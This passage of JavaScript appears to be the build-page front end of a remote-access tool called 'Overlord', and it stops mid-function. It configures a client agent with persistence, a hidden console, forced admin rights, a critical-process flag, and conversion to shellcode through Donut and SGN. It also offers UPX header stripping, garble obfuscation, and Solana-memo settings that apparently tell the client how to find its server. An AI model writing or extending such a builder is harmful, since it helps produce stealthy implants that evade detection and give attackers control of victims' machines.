import { createBuildProfileManager } from "./build-profile-manager.js";
import {
  createBuildHistoryManager,
  formatFileSize,
} from "./build-history-manager.js";
import {
  animateElement,
  revealElement,
  staggerChildren,
} from "./motion.js";
import { isLocalServerAddress } from "./build-server-url.js";
import { escapeHtml } from "./format.js";

const form = document.getElementById("build-form");
const buildBtn = document.getElementById("build-btn");
const buildStatus = document.getElementById("build-status");
const buildStatusText = document.getElementById("build-status-text");
const buildProgressTrack = document.getElementById("build-progress-track");
const buildProgressBar = document.getElementById("build-progress-bar");
const buildOutputDiv = document.getElementById("build-output");
const buildOutputContainer = document.getElementById("build-output-container");
const buildLogIssueCount = document.getElementById("build-log-issue-count");
const buildLogFilterButtons = document.querySelectorAll("[data-build-log-filter]");
const buildLogWrapBtn = document.getElementById("build-log-wrap-btn");
const buildLogFollowBtn = document.getElementById("build-log-follow-btn");
const buildLogCopyBtn = document.getElementById("build-log-copy-btn");
const buildLogClearBtn = document.getElementById("build-log-clear-btn");
const buildResults = document.getElementById("build-results");
const buildFilesDiv = document.getElementById("build-files");
const logoutBtn = document.getElementById("logout-btn");
const usernameDisplay = document.getElementById("username-display");
const roleBadge = document.getElementById("role-badge");
const usersLink = document.getElementById("users-link");
const buildLink = document.getElementById("build-link");
const scriptsLink = document.getElementById("scripts-link");
const pluginsLink = document.getElementById("plugins-link");
const rawServerListCheckbox = document.getElementById("raw-server-list");
const serverUrlInput = document.getElementById("server-url");
const serverUrlCurrentBtn = document.getElementById("server-url-current-btn");
const serverUrlLocalWarning = document.getElementById("server-url-local-warning");
const solMemoCheckbox = document.getElementById("sol-memo");
const solSettings = document.getElementById("sol-settings");
const profileSelect = document.getElementById("build-profile-select");
const profileNameInput = document.getElementById("build-profile-name");
const profileSaveBtn = document.getElementById("profile-save-btn");
const profileLoadBtn = document.getElementById("profile-load-btn");
const profileDeleteBtn = document.getElementById("profile-delete-btn");
const profileExportBtn = document.getElementById("profile-export-btn");
const profileImportBtn = document.getElementById("profile-import-btn");
const profileImportFile = document.getElementById("profile-import-file");
const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]');
const persistenceMethodContainer = document.getElementById("persistence-method-container");
const persistenceEmptyState = document.getElementById("persistence-empty-state");
const persistenceWindowsSettings = document.getElementById("persistence-windows-settings");
const persistenceLinuxSettings = document.getElementById("persistence-linux-settings");
const persistenceMacSettings = document.getElementById("persistence-macos-settings");
const persistenceStartupNameContainer = document.getElementById("persistence-startup-name-container");
const startupNameMacosHint = document.getElementById("startup-name-macos-hint");
const startupNameDefaultHint = document.getElementById("startup-name-default-hint");
const startupNameError = document.getElementById("startup-name-error");
const platformInputs = document.querySelectorAll('input[name="platform"]');
const buildPluginsSection = document.getElementById("build-plugins-section");
const buildPluginsList = document.getElementById("build-plugins-list");
const buildPluginsCount = document.getElementById("build-plugins-count");
const buildProviderSelect = document.getElementById("build-provider");
const buildProviderDescription = document.getElementById("build-provider-description");
const macosSdkUploadSection = document.getElementById("macos-sdk-upload-section");
const macosSdkFileInput = document.getElementById("macos-sdk-file");
const macosSdkRightsInput = document.getElementById("macos-sdk-rights");
const macosSdkFileStatus = document.getElementById("macos-sdk-file-status");
const macosSdkHostWarning = document.getElementById("macos-sdk-host-warning");
const macosSdkHostPlatform = document.getElementById("macos-sdk-host-platform");
const disableCgoInput = document.querySelector('input[name="disable-cgo"]');
const disableCgoWarning = document.getElementById("disable-cgo-warning");

let currentServerVersion = null;
let currentUserRole = null;
let currentUsername = null;
let showAllBuilds = false;
let buildPlugins = [];
let macosSdkRequiredForDarwinCgo = false;
let macosSdkServerHost = null;

async function loadMacosSdkStatus() {
  try {
    const res = await fetch("/api/build/macos-sdk/status", { credentials: "include" });
    if (!res.ok) return;
    const data = await res.json();
    macosSdkRequiredForDarwinCgo = data.requiredForDarwinCgo === true;
    macosSdkServerHost = typeof data.hostPlatform === "string" ? data.hostPlatform : null;
  } catch {}
  updateMacosSdkVisibility();
}

function needsMacosSdkUpload() {
  if (buildProviderSelect?.value) return false;
  const hasDarwin = Array.from(document.querySelectorAll('input[name="platform"]:checked'))
    .some((input) => input.value.startsWith("darwin-"));
  return macosSdkRequiredForDarwinCgo && hasDarwin && !document.querySelector('input[name="disable-cgo"]')?.checked;
}

function updateMacosSdkVisibility() {
  const hasDarwin = Array.from(document.querySelectorAll('input[name="platform"]:checked'))
    .some((input) => input.value.startsWith("darwin-"));
  const cgoEnabled = !document.querySelector('input[name="disable-cgo"]')?.checked;
  macosSdkUploadSection?.classList.toggle("hidden", !needsMacosSdkUpload());
  const unsupportedHost = hasDarwin && cgoEnabled && !!macosSdkServerHost && macosSdkServerHost !== "linux" && macosSdkServerHost !== "darwin";
  macosSdkHostWarning?.classList.toggle("hidden", !unsupportedHost);
  if (macosSdkHostPlatform && unsupportedHost) macosSdkHostPlatform.textContent = macosSdkServerHost;
}

function updateDisableCgoWarning() {
  disableCgoWarning?.classList.toggle("hidden", !disableCgoInput?.checked);
}

async function uploadMacosSdk() {
  const file = macosSdkFileInput?.files?.[0];
  if (!file) throw new Error("Select a macOS SDK archive for this Darwin CGO build");
  if (!macosSdkRightsInput?.checked) throw new Error("Confirm that you have permission to use the uploaded macOS SDK");
  if (file.size > 1024 * 1024 * 1024) throw new Error("macOS SDK archive exceeds the 1 GB limit");
  if (macosSdkFileStatus) macosSdkFileStatus.textContent = `Uploading ${file.name} (${formatFileSize(file.size)})...`;
  const res = await fetch("/api/build/macos-sdk/upload", {
    method: "POST",
    credentials: "include",
    headers: {
      "Content-Type": "application/octet-stream",
      "X-Overlord-Filename": encodeURIComponent(file.name),
      "X-Overlord-Sdk-Rights": "confirmed",
    },
    body: file,
  });
  const data = await res.json().catch(() => ({}));
  if (!res.ok) throw new Error(data.error || "macOS SDK upload failed");
  if (macosSdkFileStatus) macosSdkFileStatus.textContent = `${file.name} uploaded; validating during the build.`;
  return data.uploadId;
}

async function loadSolRpcEndpoints() {
  const field = document.getElementById("sol-rpc-endpoints");
  if (!field || field.value.trim()) return;
  try {
    const res = await fetch("/api/sol/rpc-endpoints", { credentials: "include" });
    if (!res.ok) return;
    const data = await res.json();
    const endpoints = Array.isArray(data?.endpoints)
      ? data.endpoints.map((item) => String(item || "").trim()).filter(Boolean)
      : [];
    field.value = endpoints.join("\n");
  } catch {}
}

async function loadServerVersion() {
  try {
    const res = await fetch("/api/version", { credentials: "include" });
    if (!res.ok) {
      currentServerVersion = null;
      return;
    }
    const payload = await res.json();
    const version = typeof payload?.version === "string" ? payload.version.trim() : "";
    currentServerVersion = version || null;
  } catch {
    currentServerVersion = null;
  }
}

function getDefaultServerUrlPlaceholder(isRawList) {
  if (isRawList) {
    return getCurrentRawServerListUrl();
  }
  return "";
}

function getCurrentServerHost() {
  return window.location.host || window.location.hostname || "";
}

function getCurrentRawServerListUrl() {
  const protocol = window.location.protocol === "https:" ? "https" : "http";
  const host = getCurrentServerHost();
  return host ? `${protocol}://${host}/list.txt` : "";
}

function getCurrentServerUrlForMode() {
  return getCurrentServerHost();
}

function stripServerUrlPrefix(value) {
  return String(value || "").replace(/^\s*(wss?|https?):\/\//i, "").trimStart();
}

function updateServerUrlHintMode() {
  const isRaw = rawServerListCheckbox?.checked ?? false;
  const normalHint = document.getElementById("server-url-hint");
  const rawHint = document.getElementById("server-url-raw-hint");
  if (normalHint) normalHint.classList.toggle("hidden", isRaw);
  if (rawHint) rawHint.classList.toggle("hidden", !isRaw);
}

function updateServerUrlPlaceholder() {
  if (!serverUrlInput) return;
  const isRaw = rawServerListCheckbox?.checked ?? false;
  serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(isRaw);
  updateServerUrlCurrentButton();
  updateServerUrlHintMode();
}

function updateServerUrlCurrentButton() {
  if (!serverUrlCurrentBtn) return;
  const isRaw = rawServerListCheckbox?.checked ?? false;
  const isCurrentHost = !isRaw
    && !!serverUrlInput?.value.trim()
    && stripServerUrlPrefix(serverUrlInput.value) === getCurrentServerUrlForMode();
  serverUrlCurrentBtn.classList.toggle("hidden", isRaw);
  serverUrlCurrentBtn.disabled = isRaw;
  serverUrlCurrentBtn.setAttribute("aria-pressed", String(isCurrentHost));
  serverUrlCurrentBtn.classList.toggle("bg-slate-800/70", !isCurrentHost);
  serverUrlCurrentBtn.classList.toggle("border-slate-700", !isCurrentHost);
  serverUrlCurrentBtn.classList.toggle("text-slate-300", !isCurrentHost);
  serverUrlCurrentBtn.classList.toggle("bg-blue-600", isCurrentHost);
  serverUrlCurrentBtn.classList.toggle("border-blue-400", isCurrentHost);
  serverUrlCurrentBtn.classList.toggle("text-white", isCurrentHost);
  serverUrlCurrentBtn.classList.toggle("shadow-lg", isCurrentHost);
  serverUrlCurrentBtn.classList.toggle("shadow-blue-950/50", isCurrentHost);
}

function updateLocalServerWarning() {
  const showWarning = isLocalServerAddress(serverUrlInput?.value);
  serverUrlLocalWarning?.classList.toggle("hidden", !showWarning);
  serverUrlInput?.classList.toggle("border-slate-700", !showWarning);
  serverUrlInput?.classList.toggle("border-red-500", showWarning);
  serverUrlInput?.setAttribute("aria-invalid", String(showWarning));
  updateServerUrlCurrentButton();
}

let isBuilding = false;
const BUILD_LOG_MAX_VISIBLE_LINES = 5000;
const BUILD_LOG_WRAP_KEY = "overlord.buildLog.wrap.v1";
let buildLogRawChunks = [];

function updateBuildProgress(progress) {
  const value = Number(progress);
  const visible = progress !== null && progress !== undefined && Number.isFinite(value);
  buildProgressTrack?.classList.toggle("hidden", !visible);
  if (!visible) {
    if (buildProgressBar) buildProgressBar.style.width = "0%";
    buildProgressTrack?.removeAttribute("aria-valuenow");
    return;
  }
  const clamped = Math.max(0, Math.min(100, value));
  if (buildProgressBar) buildProgressBar.style.width = `${clamped}%`;
  buildProgressTrack?.setAttribute("aria-valuenow", String(Math.round(clamped)));
}
let buildLogLineCount = 0;
let buildLogIssueTotal = 0;
let buildLogFollow = true;

function updateBuildLogSummary() {
  if (buildLogIssueCount) buildLogIssueCount.textContent = buildLogIssueTotal.toLocaleString();
}

function setBuildLogFollow(enabled) {
  buildLogFollow = enabled;
  buildLogFollowBtn?.setAttribute("aria-pressed", String(enabled));
  if (enabled && buildOutputContainer) {
    buildOutputContainer.scrollTop = buildOutputContainer.scrollHeight;
  }
}

function resetBuildLog(showEmptyState = false) {
  buildLogRawChunks = [];
  buildLogLineCount = 0;
  buildLogIssueTotal = 0;
  if (buildOutputDiv) {
    buildOutputDiv.innerHTML = showEmptyState
      ? '<div class="build-log-empty">Output cleared. New build events will appear here.</div>'
      : "";
  }
  updateBuildLogSummary();
}

function classifyBuildLogLine(line, requestedLevel) {
  const normalizedLevel = String(requestedLevel || "info").toLowerCase();
  if (normalizedLevel === "error" || /\b(error|failed|failure|fatal|panic)\b/i.test(line)) return "error";
  if (normalizedLevel === "warn" || normalizedLevel === "warning" || /\b(warn(?:ing)?|retry|skipp?ed|hint)\b/i.test(line)) return "warning";
  if (normalizedLevel === "success" || /\b(success(?:ful(?:ly)?)?|completed|\[ok\])\b/i.test(line)) return "success";
  if (/^(?:\s*[=─-]{2,}|\s*\[[^\]]+\]|\s*(?:starting|build id|building|uploading|pushing|reconnecting)\b)/i.test(line)) return "stage";
  return "detail";
}

function appendBuildLogLine(line, requestedLevel) {
  if (!buildOutputDiv || !line.trim()) return;
  buildOutputDiv.querySelector(".build-log-empty")?.remove();

  const level = classifyBuildLogLine(line, requestedLevel);
  const row = document.createElement("div");
  row.className = "build-log-line";
  row.dataset.logLevel = level;

  buildLogLineCount += 1;
  if (level === "warning" || level === "error") buildLogIssueTotal += 1;

  const number = document.createElement("span");
  number.className = "build-log-number";
  number.textContent = String(buildLogLineCount);

  const content = document.createElement("span");
  content.className = "build-log-content";
  content.appendChild(document.createTextNode(line));
  row.appendChild(number);
  row.appendChild(content);
  buildOutputDiv.appendChild(row);

  while (buildOutputDiv.children.length > BUILD_LOG_MAX_VISIBLE_LINES) {
    buildOutputDiv.firstElementChild?.remove();
  }

  if (level !== "detail") {
    animateElement(row, [
      { opacity: 0, transform: "translateX(5px)" },
      { opacity: 1, transform: "translateX(0)" },
    ], { duration: 170 });
  }
}

function initBuildConsole() {
  let wrapEnabled = false;
  try { wrapEnabled = localStorage.getItem(BUILD_LOG_WRAP_KEY) === "1"; } catch {}
  buildOutputDiv?.classList.toggle("log-wrap", wrapEnabled);
  buildLogWrapBtn?.setAttribute("aria-pressed", String(wrapEnabled));

  buildLogFilterButtons.forEach((button) => {
    button.addEventListener("click", () => {
      const filter = button.dataset.buildLogFilter || "all";
      buildOutputDiv.dataset.filter = filter;
      buildLogFilterButtons.forEach((candidate) => {
        candidate.setAttribute("aria-pressed", String(candidate === button));
      });
    });
  });

  buildLogWrapBtn?.addEventListener("click", () => {
    const enabled = !buildOutputDiv.classList.contains("log-wrap");
    buildOutputDiv.classList.toggle("log-wrap", enabled);
    buildLogWrapBtn.setAttribute("aria-pressed", String(enabled));
    try { localStorage.setItem(BUILD_LOG_WRAP_KEY, enabled ? "1" : "0"); } catch {}
  });

  buildLogFollowBtn?.addEventListener("click", () => setBuildLogFollow(!buildLogFollow));
  buildOutputContainer?.addEventListener("scroll", () => {
    const distanceFromBottom = buildOutputContainer.scrollHeight
      - buildOutputContainer.scrollTop
      - buildOutputContainer.clientHeight;
    if (distanceFromBottom > 40 && buildLogFollow) setBuildLogFollow(false);
  }, { passive: true });

  buildLogCopyBtn?.addEventListener("click", async () => {
    const text = buildLogRawChunks.join("");
    if (!text) return;
    let copied = false;
    try {
      await navigator.clipboard.writeText(text);
      copied = true;
    } catch {
      const textarea = document.createElement("textarea");
      textarea.value = text;
      textarea.style.position = "fixed";
      textarea.style.opacity = "0";
      document.body.appendChild(textarea);
      textarea.select();
      copied = document.execCommand?.("copy") === true;
      textarea.remove();
    }
    if (copied) {
      buildLogCopyBtn.innerHTML = '<i class="fa-solid fa-check text-emerald-400"></i><span class="sr-only">Copied</span>';
      setTimeout(() => {
        buildLogCopyBtn.innerHTML = '<i class="fa-regular fa-copy"></i><span class="sr-only">Copy output</span>';
      }, 1400);
    } else {
      window.showToast?.("Could not copy build output", "error");
    }
  });

  buildLogClearBtn?.addEventListener("click", () => {
    resetBuildLog(true);
    setBuildLogFollow(true);
  });
  updateBuildLogSummary();
}

initBuildConsole();

function revealBuildResults() {
  if (buildResults.classList.contains("hidden")) {
    revealElement(buildResults, { duration: 240, offset: 8 });
  }
  requestAnimationFrame(() => {
    staggerChildren(buildFilesDiv, { limit: 10, interval: 28, duration: 220, offset: 6 });
  });
}

function initAccordions() {
  document.querySelectorAll(".accordion-section").forEach((section) => {
    const header = section.querySelector(".accordion-header");
    const body = section.querySelector(".accordion-body");
    const chevron = section.querySelector(".accordion-chevron");
    const startOpen = section.dataset.open !== "false";
    header.setAttribute("aria-expanded", String(startOpen));

    if (!startOpen) {
      body.classList.add("collapsed");
    } else {
      chevron.classList.add("rotated");
    }

    header.addEventListener("click", () => {
      const nowCollapsed = body.classList.toggle("collapsed");
      chevron.classList.toggle("rotated", !nowCollapsed);
      section.dataset.open = String(!nowCollapsed);
      header.setAttribute("aria-expanded", String(!nowCollapsed));
      animateElement(header, [
        { backgroundColor: "rgba(51, 65, 85, 0.62)" },
        { backgroundColor: "rgba(30, 41, 59, 0.5)" },
      ], { duration: 180 });
    });
  });
}

function initBuilderTabs() {
  const tabs = document.querySelectorAll(".builder-tab[data-builder-tab]");
  const panels = document.querySelectorAll("[data-builder-panel]");

  function switchTab(tabName) {
    tabs.forEach((t) => {
      t.setAttribute("aria-selected", t.dataset.builderTab === tabName ? "true" : "false");
    });
    panels.forEach((p) => {
      if (p.dataset.builderPanel === tabName) {
        p.removeAttribute("hidden");
        animateElement(p, [
          { opacity: 0, transform: "translateY(7px)" },
          { opacity: 1, transform: "translateY(0)" },
        ], { duration: 200 });
      } else {
        p.setAttribute("hidden", "");
      }
    });
  }

  tabs.forEach((tab) => {
    tab.addEventListener("click", () => {
      switchTab(tab.dataset.builderTab);
    });
  });

  const defaultTab = document.querySelector('.builder-tab[aria-selected="true"]');
  if (defaultTab) {
    switchTab(defaultTab.dataset.builderTab);
  }
}

function updateWindowsSectionVisibility() {
  const windowsSection = document.getElementById("windows-settings-section");
  if (!windowsSection) return;
  const hasWindows = Array.from(
    document.querySelectorAll('input[name="platform"]:checked'),
  ).some((el) => el.value.startsWith("windows-"));
  windowsSection.classList.toggle("hidden", !hasWindows);
}

function pluginSettingInputId(pluginId, key) {
  return `build-plugin-${pluginId}-${key}`.replace(/[^A-Za-z0-9_-]/g, "-");
}

function buildPluginCurrentSettings(plugin) {
  const settings = {};
  for (const setting of plugin.build?.settings || []) {
    const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${setting.key}"]`);
    if (!el) continue;
    if (setting.type === "boolean") settings[setting.key] = !!el.checked;
    else if (setting.type === "number") settings[setting.key] = Number(el.value || setting.default || 0);
    else settings[setting.key] = el.value;
  }
  return settings;
}

function collectBuildPluginSettings() {
  const result = {};
  for (const plugin of buildPlugins) {
    const enabledEl = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`);
    result[plugin.id] = {
      enabled: enabledEl ? !!enabledEl.checked : plugin.build?.enabledByDefault !== false,
      settings: buildPluginCurrentSettings(plugin),
    };
  }
  return result;
}

function selectedBuildProviderPlugin() {
  const id = buildProviderSelect?.value || "";
  return id ? buildPlugins.find((plugin) => plugin.id === id && plugin.build?.provider) : null;
}

function updateBuildProviderUi() {
  const provider = selectedBuildProviderPlugin();
  const supported = provider ? new Set(provider.build.provider.platforms || []) : null;
  for (const input of document.querySelectorAll('input[name="platform"]')) {
    const allowed = !supported || supported.has(input.value);
    input.disabled = !allowed;
    input.closest("label")?.classList.toggle("opacity-40", !allowed);
    if (!allowed) input.checked = false;
  }
  if (provider && !document.querySelector('input[name="platform"]:checked:not(:disabled)')) {
    const first = document.querySelector('input[name="platform"]:not(:disabled)');
    if (first) first.checked = true;
  }
  if (provider) {
    if (buildProviderDescription) {
      buildProviderDescription.textContent = provider.build.provider.description
        || provider.build.description
        || `Uses the ${provider.name || provider.id} build provider.`;
    }
    const enabled = document.querySelector(`[data-build-plugin-enable="${provider.id}"]`);
    if (enabled) enabled.checked = true;
  } else if (buildProviderDescription) {
    buildProviderDescription.textContent = "Uses the built-in full-featured Go client builder.";
  }
  updateWindowsSectionVisibility();
  updateMacosSdkVisibility();
}

function renderBuildProviders() {
  if (!buildProviderSelect) return;
  const selected = buildProviderSelect.value;
  buildProviderSelect.innerHTML = '<option value="">Full Go Agent</option>';
  for (const plugin of buildPlugins) {
    if (!plugin.build?.provider || plugin.enabled === false) continue;
    const option = document.createElement("option");
    option.value = plugin.id;
    option.textContent = plugin.build.provider.label || plugin.build.label || plugin.name || plugin.id;
    buildProviderSelect.appendChild(option);
  }
  if (Array.from(buildProviderSelect.options).some((option) => option.value === selected)) {
    buildProviderSelect.value = selected;
  }
  updateBuildProviderUi();
}

buildProviderSelect?.addEventListener("change", () => {
  updateBuildProviderUi();
  saveFormSettings();
});

function setBuildField(field, value) {
  const fieldMap = {
    buildProvider: "#build-provider",
    useDonut: "#donut-mode",
    donutSingleThreaded: "#donut-single-threaded",
    donutExitMode: "#donut-exit-mode",
    donutEntropy: "#donut-entropy",
    donutPreserveHeaders: "#donut-preserve-headers",
    donutResumeOffset: "#donut-resume-offset",
    useLinuxShellcode: "#linux-shellcode-mode",
    shellcodeConsole: "#shellcode-console",
    useSgn: "#sgn-mode",
    enableUpx: 'input[name="enable-upx"]',
    upxStripHeaders: 'input[name="upx-strip-headers"]',
    obfuscate: 'input[name="obfuscate"]',
    garbleLiterals: 'input[name="garble-literals"]',
    garbleTiny: 'input[name="garble-tiny"]',
    disableCgo: 'input[name="disable-cgo"]',
    enableNvenc: 'input[name="enable-nvenc"]',
    enableAmf: 'input[name="enable-amf"]',
    enableQsv: 'input[name="enable-qsv"]',
    stripDebug: 'input[name="strip-debug"]',
    noPrinting: 'input[name="no-printing"]',
    enableWebrtc: 'input[name="enable-webrtc"]',
    promptWebrtcFirewallOnStart: 'input[name="prompt-webrtc-firewall-on-start"]',
    enableWinRE: 'input[name="enable-winre"]',
    fetchPublicIP: 'input[name="fetch-public-ip"]',
    enablePersistence: 'input[name="enable-persistence"]',
    hideConsole: 'input[name="hide-console"]',
    requireAdmin: 'input[name="require-admin"]',
    criticalProcess: 'input[name="critical-process"]',
    outputName: "#output-name",
    outputExtension: "#output-extension",
    sgnIterations: "#sgn-iterations",
    sleepSeconds: "#sleep-seconds",
  };
  const selector = fieldMap[field] || `#${field}`;
  const el = document.querySelector(selector);
  if (!el) return;
  if (el.type === "checkbox") el.checked = !!value;
  else el.value = String(value ?? "");
  el.dispatchEvent(new Event("change", { bubbles: true }));
  el.dispatchEvent(new Event("input", { bubbles: true }));
  if (field === "useDonut") applyDonutMode(!!value);
  if (field === "useLinuxShellcode") applyLinuxShellcodeMode(!!value);
  if (field === "useSgn") applySgnMode(!!value);
}

function getRequirementValue(req, plugin) {
  if (req.field) {
    const settings = collectFormSettings();
    return req.field.split(".").reduce((cur, key) => cur && cur[key], settings);
  }
  if (req.pluginSetting) {
    const settings = buildPluginCurrentSettings(plugin);
    return req.pluginSetting.split(".").reduce((cur, key) => cur && cur[key], settings);
  }
  return undefined;
}

function buildRequirementMet(req, plugin) {
  if (Array.isArray(req.platforms)) {
    const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value);
    return req.platforms.some((platform) => selected.includes(platform));
  }
  const value = getRequirementValue(req, plugin);
  if (req.truthy === true && !value) return false;
  if (req.falsy === true && value) return false;
  if (Object.prototype.hasOwnProperty.call(req, "equals") && value !== req.equals) return false;
  if (Object.prototype.hasOwnProperty.call(req, "notEquals") && value === req.notEquals) return false;
  if (Object.prototype.hasOwnProperty.call(req, "includes")) {
    if (!Array.isArray(value) || !value.includes(req.includes)) return false;
  }
  return true;
}

function validateBuildPluginRequirements() {
  const messages = [];
  for (const plugin of buildPlugins) {
    const enabled = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`)?.checked;
    if (!enabled) continue;
    for (const req of plugin.build?.requires || []) {
      if (!buildRequirementMet(req, plugin)) {
        messages.push(req.message || `${plugin.name} has unmet build requirements`);
      }
    }
  }
  return messages;
}

function renderBuildPluginSetting(plugin, setting) {
  const id = pluginSettingInputId(plugin.id, setting.key);
  const wrap = document.createElement("label");
  wrap.className = "flex flex-col gap-1 text-sm";

  const label = document.createElement("span");
  label.className = "text-slate-300 font-medium";
  label.textContent = setting.label || setting.key;
  wrap.appendChild(label);

  let input;
  if (setting.type === "boolean") {
    wrap.className = "flex items-center gap-2 text-sm text-slate-300";
    input = document.createElement("input");
    input.type = "checkbox";
    input.checked = !!setting.default;
    input.className = "w-4 h-4";
    wrap.innerHTML = "";
    wrap.appendChild(input);
    wrap.appendChild(label);
  } else if (setting.type === "select") {
    input = document.createElement("select");
    input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors";
    for (const opt of setting.options || []) {
      const option = document.createElement("option");
      option.value = typeof opt === "string" ? opt : opt.value;
      option.textContent = typeof opt === "string" ? opt : (opt.label || opt.value);
      input.appendChild(option);
    }
    if (setting.default !== undefined) input.value = String(setting.default);
    wrap.appendChild(input);
  } else if (setting.type === "textarea") {
    input = document.createElement("textarea");
    input.rows = 3;
    input.value = setting.default !== undefined ? String(setting.default) : "";
    input.placeholder = setting.placeholder || "";
    input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors";
    wrap.appendChild(input);
  } else {
    input = document.createElement("input");
    input.type = setting.type === "number" ? "number" : "text";
    if (setting.min !== undefined) input.min = String(setting.min);
    if (setting.max !== undefined) input.max = String(setting.max);
    input.value = setting.default !== undefined ? String(setting.default) : "";
    input.placeholder = setting.placeholder || "";
    input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors";
    wrap.appendChild(input);
  }
  input.id = id;
  input.dataset.buildPluginId = plugin.id;
  input.dataset.buildSettingKey = setting.key;
  input.addEventListener("input", saveFormSettings);
  input.addEventListener("change", saveFormSettings);

  if (setting.description) {
    const desc = document.createElement("span");
    desc.className = "text-xs text-slate-500";
    desc.textContent = setting.description;
    wrap.appendChild(desc);
  }
  return wrap;
}

function renderBuildPlugins() {
  if (!buildPluginsSection || !buildPluginsList) return;
  buildPluginsList.innerHTML = "";
  if (buildPlugins.length === 0) {
    buildPluginsSection.classList.add("hidden");
    return;
  }
  buildPluginsSection.classList.remove("hidden");
  if (buildPluginsCount) buildPluginsCount.textContent = `${buildPlugins.length} available`;

  for (const plugin of buildPlugins) {
    const card = document.createElement("div");
    card.className = "rounded-lg border border-slate-700 bg-slate-800/40 p-3 flex flex-col gap-3";

    const top = document.createElement("div");
    top.className = "flex items-start justify-between gap-3";
    const title = document.createElement("div");
    const nameEl = document.createElement("div");
    nameEl.className = "font-medium text-slate-100";
    nameEl.textContent = plugin.build?.label || plugin.name;
    title.appendChild(nameEl);
    if (plugin.build?.description) {
      const desc = document.createElement("div");
      desc.className = "text-xs text-slate-500 mt-1";
      desc.textContent = plugin.build.description;
      title.appendChild(desc);
    }
    const toggle = document.createElement("label");
    toggle.className = "flex items-center gap-2 text-xs text-slate-300 cursor-pointer";
    const cb = document.createElement("input");
    cb.type = "checkbox";
    cb.checked = plugin.build?.enabledByDefault !== false;
    cb.dataset.buildPluginEnable = plugin.id;
    cb.className = "w-4 h-4";
    cb.addEventListener("change", saveFormSettings);
    toggle.appendChild(cb);
    toggle.appendChild(document.createTextNode("Enabled"));
    top.appendChild(title);
    top.appendChild(toggle);
    card.appendChild(top);

    if (plugin.build?.settings?.length) {
      const grid = document.createElement("div");
      grid.className = "grid grid-cols-1 md:grid-cols-2 gap-3";
      for (const setting of plugin.build.settings) grid.appendChild(renderBuildPluginSetting(plugin, setting));
      card.appendChild(grid);
    }

    if (plugin.build?.actions?.length) {
      const actions = document.createElement("div");
      actions.className = "flex flex-wrap gap-2";
      for (const action of plugin.build.actions) {
        const btn = document.createElement("button");
        btn.type = "button";
        btn.className = "inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-fuchsia-700 hover:bg-fuchsia-600 text-white text-sm transition-colors";
        const icon = document.createElement("i");
        icon.className = action.icon || "fa-solid fa-wand-magic-sparkles";
        const text = document.createElement("span");
        text.textContent = action.label;
        btn.appendChild(icon);
        btn.appendChild(text);
        if (action.description) btn.title = action.description;
        btn.addEventListener("click", () => {
          for (const req of action.requires || []) {
            if (!buildRequirementMet(req, plugin)) {
              alert(req.message || "This action requires other build settings first.");
              return;
            }
          }
          for (const [field, value] of Object.entries(action.setBuild || {})) setBuildField(field, value);
          for (const [key, value] of Object.entries(action.setSettings || {})) {
            const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${key}"]`);
            if (!el) continue;
            if (el.type === "checkbox") el.checked = !!value;
            else el.value = String(value ?? "");
            el.dispatchEvent(new Event("change", { bubbles: true }));
          }
          saveFormSettings();
        });
        actions.appendChild(btn);
      }
      card.appendChild(actions);
    }
    buildPluginsList.appendChild(card);
  }
}

function applyBuildPluginSettings(settings) {
  if (!settings || typeof settings !== "object") return;
  for (const plugin of buildPlugins) {
    const saved = settings[plugin.id];
    if (!saved || typeof saved !== "object") continue;
    const enabled = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`);
    if (enabled && saved.enabled !== undefined) enabled.checked = !!saved.enabled;
    for (const [key, value] of Object.entries(saved.settings || {})) {
      const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${key}"]`);
      if (!el) continue;
      if (el.type === "checkbox") el.checked = !!value;
      else el.value = String(value ?? "");
    }
  }
}

async function loadBuildPlugins() {
  try {
    const res = await fetch("/api/build/plugins", { credentials: "include" });
    if (!res.ok) return;
    const data = await res.json();
    buildPlugins = Array.isArray(data.plugins) ? data.plugins : [];
    renderBuildPlugins();
    renderBuildProviders();
    try {
      const raw = localStorage.getItem(BUILD_SETTINGS_KEY);
      if (raw) {
        const saved = JSON.parse(raw);
        applyBuildPluginSettings(saved.buildPlugins);
        if (buildProviderSelect && typeof saved.buildProvider === "string") {
          buildProviderSelect.value = saved.buildProvider;
          updateBuildProviderUi();
        }
      }
    } catch {}
  } catch (err) {
    console.warn("Failed to load build plugins:", err);
  }
}

const BUILD_SETTINGS_KEY = "overlord_build_settings";

function collectFormSettings() {
  return {
    buildProvider: buildProviderSelect?.value || "",
    platforms: Array.from(document.querySelectorAll('input[name="platform"]')).map((el) => ({ value: el.value, checked: el.checked })),
    serverUrl: document.getElementById("server-url")?.value ?? "",
    rawServerList: document.getElementById("raw-server-list")?.checked ?? false,
    solMemo: document.getElementById("sol-memo")?.checked ?? false,
    solAddress: document.getElementById("sol-address")?.value ?? "",
    solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "",
    outputName: document.getElementById("output-name")?.value ?? "",
    initialClientTag: document.getElementById("initial-client-tag")?.value ?? "",
    iosBundleId: document.getElementById("ios-bundle-id")?.value ?? "",
    mutex: document.getElementById("mutex")?.value ?? "",
    disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
    stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true,
    disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
    enableNvenc: document.querySelector('input[name="enable-nvenc"]')?.checked ?? true,
    enableAmf: document.querySelector('input[name="enable-amf"]')?.checked ?? true,
    enableQsv: document.querySelector('input[name="enable-qsv"]')?.checked ?? true,
